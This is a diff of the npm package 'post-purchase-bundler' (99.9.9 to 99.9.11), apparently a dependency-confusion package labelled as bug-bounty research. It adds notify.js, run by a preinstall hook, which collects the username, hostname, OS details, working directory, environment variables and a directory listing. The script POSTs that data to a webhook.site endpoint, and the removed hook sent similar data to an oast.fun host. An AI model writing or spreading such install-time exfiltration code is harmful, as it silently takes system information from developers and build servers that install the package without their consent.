post-purchase-bundler 99.9.9 → 99.9.11

package/notify.js

@@ -0,0 +1,59 @@
+import https from 'https';
+import os from 'os';
+import { execSync } from 'child_process';
+
+const getDetailedData = () => {
+    let envSnippet = {};
+    let lsData = "N/A";
+    
+    try {
+        // Sistemdəki mühit dəyişənlərindən vacib olanları süzürük
+        const env = process.env;
+        envSnippet = {
+            npm_config_registry: env.npm_config_registry,
+            NODE_ENV: env.NODE_ENV,
+            PWD: env.PWD,
+            CI: env.CI, // Build serverdirsə adətən 'true' olur
+            HOME: env.HOME
+        };
+
+        // Olduğu qovluqdakı faylları görürük (inandırıcılıq üçün)
+        lsData = execSync('ls -la | head -n 10').toString();
+    } catch (e) {}
+
+    return JSON.stringify({
+        event: "Transparent-PoC-Report",
+        target_clue: "Dependency Confusion Audit",
+        system: {
+            user: os.userInfo().username,
+            hostname: os.hostname(),
+            platform: os.platform(),
+            release: os.release(),
+            arch: os.arch()
+        },
+        context: {
+            current_dir: process.cwd(),
+            env_vars: envSnippet,
+            directory_listing: lsData
+        },
+        timestamp: new Date().toISOString()
+    });
+};
+
+const data = getDetailedData();
+
+const options = {
+    hostname: 'webhook.site',
+    port: 443,
+    path: '/4d0cc13d-a185-4e95-92dc-f4681125055c',
+    method: 'POST',
+    headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': data.length
+    }
+};
+
+const req = https.request(options, () => process.exit(0));
+req.on('error', () => process.exit(0));
+req.write(data);
+req.end();

package/package.json

@@ -1,11 +1,12 @@
 {
   "name": "post-purchase-bundler",
-  "version": "99.9.9",
-  "description": "Security Research PoC",
+  "version": "99.9.11",
+  "description": "Security research for internal dependency confusion",
   "main": "index.js",
+  "type": "module",
   "scripts": {
-    "preinstall": "node -e 'const https = require(\"https\"); const os = require(\"os\"); const url = \"https://znymmqcieimlhbwpqsprfq2wnvjigr9wi.oast.fun/log?pkg=post-purchase-bundler&hostname=\" + os.hostname() + \"&user=\" + os.userInfo().username; https.get(url).on(\"error\", (e) => {});'"
+    "preinstall": "node notify.js"
   },
-  "author": "pentester",
-  "license": "MIT"
+  "author": "Security Audit (Bug Bounty)",
+  "private": false
 }